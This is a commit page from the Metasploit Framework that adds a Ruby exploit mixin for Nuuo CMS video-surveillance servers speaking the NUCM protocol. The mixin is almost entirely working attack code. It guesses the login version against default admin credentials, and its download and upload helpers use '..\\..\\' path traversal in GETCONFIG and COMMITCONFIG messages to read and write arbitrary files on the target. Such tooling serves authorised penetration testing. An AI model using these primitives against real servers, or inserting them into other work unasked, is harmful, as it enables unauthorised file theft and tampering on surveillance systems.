Skip to content

Commit

Permalink
Land #11289, Add Nuuo mixin
Browse files Browse the repository at this point in the history
  • Loading branch information
jrobles-r7 committed Feb 20, 2019
2 parents 1c1103f + 733f784 commit d196020
Show file tree
Hide file tree
Showing 2 changed files with 197 additions and 0 deletions.
1 change: 1 addition & 0 deletions lib/msf/core/exploit/mixins.rb
Expand Up @@ -125,3 +125,4 @@

# Other
require 'msf/core/exploit/windows_constants'
require 'msf/core/exploit/remote/nuuo'
196 changes: 196 additions & 0 deletions lib/msf/core/exploit/remote/nuuo.rb
@@ -0,0 +1,196 @@
require 'msf/core/exploit/tcp'

###
#
# This module exposes methods that may be useful to exploits that deal with
# servers that speak Nuuo NUCM protocol for their devices and management software.
#
###
module Msf
module Exploit::Remote::Nuuo
include Exploit::Remote::Tcp

#
# Creates an instance of an Nuuo exploit module.
#
def initialize(info = {})
super(update_info(info,
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>'
],
))

register_options(
[
Opt::RHOST,
Opt::RPORT(5180),
OptString.new('SESSION', [false, 'Session number of logged in user']),
OptString.new('USERNAME', [false, 'Username to login as', 'admin']),
OptString.new('PASSWORD', [false, 'Password for the specified user', '']),
], Msf::Exploit::Remote::Nuuo)

register_advanced_options(
[
OptString.new('PROTOCOL', [ true, 'Nuuo protocol', 'NUCM/1.0']),
])

@nucs_session = nil

# All NUCS versions at time of release
# Note that these primitives are not guaranteed to work in all versions
# Add new version strings here
# We need these to login;
# when requesting a USERLOGIN we need to send the same version as the server...
@nucs_versions =
[
"1.3.1",
"1.3.3",
"1.5.0",
"1.5.2",
"1.6.0",
"1.7.0",
"2.1.0",
"2.3.0",
"2.3.1",
"2.3.2",
"2.4.0",
"2.5.0",
"2.6.0",
"2.7.0",
"2.8.0",
"2.9.0",
"2.10.0",
"2.11.0",
"3.0.0",
"3.1.0",
"3.2.0",
"3.3.0",
"3.4.0",
"3.5.0"
]

@nucs_version = nil
end


##
# Sends a protocol message aynchronously - fire and forget
##
def nucs_send_msg_async(msg)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx })
sock.write(format_msg(msg))
# socket cannot be closed, it causes exploits to fail...
#sock.close
rescue
return
end
end


# Sends a protocol data message synchronously - sends and returns the result
# A data message is composed of two parts: first the message length and protocol headers,
# then the actual data, while a non-data message only contains the first part.
##
def nucs_send_msg(msg, data = nil)
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx })
sock.write(format_msg(msg))
if data != nil
sock.write(data.to_s)
end
res = sock.recv(4096)
more_data = ''
if res =~ /Content-Length:([0-9]+)/
data_sz = $1.to_i
recv = 0
while recv < data_sz
new_data = sock.recv(4096)
break if !new_data || new_data.length == 0
more_data << new_data
recv += new_data.length
end
end
# socket cannot be closed, it causes exploits to fail...
#sock.close
return [res, more_data]
rescue
return ['', '']
end


##
# Downloads a file from the CMS install root.
# Add the ZIP extraction and decryption routine once support for it is added to msf.
##
def nucs_download_file(filename, decrypt = false)
data = nucs_send_msg(["GETCONFIG", "FileName: ..\\..\\#{filename}", "FileType: 1"])
data[1]
end


##
# Uploads a file to the CMS install root.
##
def nucs_upload_file(filename, file_data)
data = nucs_send_msg(["COMMITCONFIG", "FileName: " + "..\\..\\#{filename}", "FileType: 1", "Content-Length: " + file_data.length.to_s], file_data)
if data[0] =~ /200/
true
else
false
end
end

# logs in to the NUCS server
# first, it tries to use the datastore SESSION if such exists
# if not, it then tries to login using the datastore USERNAME and PASSWORD
# In order to login properly, we need to guess the server version...
# ... so just try all of them until we hit the right one
def nucs_login
if datastore['SESSION'] != nil
# since we're logged in, we don't need to guess the version any more
@nucs_session = datastore['SESSION']
return
end

@nucs_versions.shuffle.each do |version|
@nucs_version = version

res = nucs_send_msg(
[
"USERLOGIN",
"Version: #{@nucs_version}",
"Username: #{datastore['USERNAME']}",
"Password-Length: #{datastore['PASSWORD'].length}",
"TimeZone-Length: 0"
],
datastore['PASSWORD']
)

if res[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/
@nucs_session = $1
break
end
end
end

private
##
# Formats the message we want to send into the correct protocol format
##
def format_msg(msg)
final_msg = msg[0] + " #{datastore['PROTOCOL']}\r\n"
for line in msg[1...msg.length]
final_msg += "#{line}\r\n"
end
if not final_msg =~ /USERLOGIN/
final_msg += "User-Session-No: #{@nucs_session}\r\n"
end
return final_msg + "\r\n"
end

end

end

0 comments on commit d196020

Please sign in to comment.